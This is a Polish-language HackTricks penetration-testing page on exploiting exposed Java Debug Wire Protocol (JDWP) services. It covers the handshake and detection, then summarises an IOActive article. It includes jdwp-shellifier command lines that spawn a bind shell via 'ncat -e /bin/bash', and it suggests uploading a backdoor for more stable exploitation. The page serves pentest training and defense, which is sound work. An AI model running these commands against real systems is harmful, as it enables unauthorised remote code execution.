hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
2024-02-11 01:46:25 +00:00

6.8 KiB

Testowanie penetracyjne JDWP - Java Debug Wire Protocol

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wykorzystywanie

Wykorzystanie JDWP opiera się na braku uwierzytelniania i szyfrowania protokołu. Zazwyczaj znajduje się na porcie 8000, ale możliwe są inne porty. Pierwsze połączenie jest nawiązywane poprzez wysłanie "JDWP-Handshake" do docelowego portu. Jeśli usługa JDWP jest aktywna, odpowiada tym samym ciągiem znaków, potwierdzając swoją obecność. Ten handshake działa jako metoda identyfikacji usług JDWP w sieci.

Jeśli chodzi o identyfikację procesu, wyszukiwanie ciągu znaków "jdwk" w procesach Java może wskazywać na aktywną sesję JDWP.

Narzędziem, które warto użyć, jest jdwp-shellifier. Można go używać z różnymi parametrami:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Zauważyłem, że użycie --break-on 'java.lang.String.indexOf' sprawia, że exploit jest bardziej stabilny. Jeśli masz możliwość przesłania backdooru na host i wykonania go zamiast wykonania polecenia, exploit będzie jeszcze bardziej stabilny.

Więcej szczegółów

To jest podsumowanie https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Sprawdź to, aby uzyskać więcej informacji.

  1. Przegląd JDWP:
  • Jest to pakietowy protokół binarny sieciowy, głównie synchroniczny.
  • Brak uwierzytelniania i szyfrowania sprawia, że jest podatny na ataki w przypadku wystawienia na nieprzyjazne sieci.
  1. Handshake JDWP:
  • Prosty proces handshake'u jest używany do inicjowania komunikacji. Pomiędzy Debuggerem (klientem) a Debuggee (serwerem) wymieniany jest 14-znakowy ciąg ASCII "JDWP-Handshake".
  1. Komunikacja JDWP:
  • Wiadomości mają prostą strukturę z polami takimi jak Długość, Identyfikator, Flaga i ZestawPolecenie.
  • Wartości ZestawPolecenie mieszczą się w zakresie od 0x40 do 0x80, reprezentują różne akcje i zdarzenia.
  1. Eksploatacja:
  • JDWP umożliwia ładowanie i wywoływanie dowolnych klas i kodu bajtowego, co stwarza ryzyko bezpieczeństwa.
  • W artykule opisano proces eksploatacji w pięciu krokach, obejmujący pobieranie odwołań do środowiska wykonawczego Javy, ustawianie punktów przerwania i wywoływanie metod.
  1. Eksploatacja w życiu codziennym:
  • Pomimo potencjalnych zabezpieczeń zapory sieciowej, usługi JDWP są wykrywalne i podatne na eksploatację w rzeczywistych scenariuszach, jak pokazują wyszukiwania na platformach takich jak ShodanHQ i GitHub.
  • Skrypt eksploatacyjny został przetestowany na różnych wersjach JDK i jest niezależny od platformy, oferując niezawodne zdalne wykonanie kodu (RCE).
  1. Konsekwencje dla bezpieczeństwa:
  • Obecność otwartych usług JDWP w Internecie podkreśla potrzebę regularnych przeglądów bezpieczeństwa, wyłączania funkcji debugowania w produkcji i odpowiedniej konfiguracji zapory sieciowej.

Odnośniki:

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: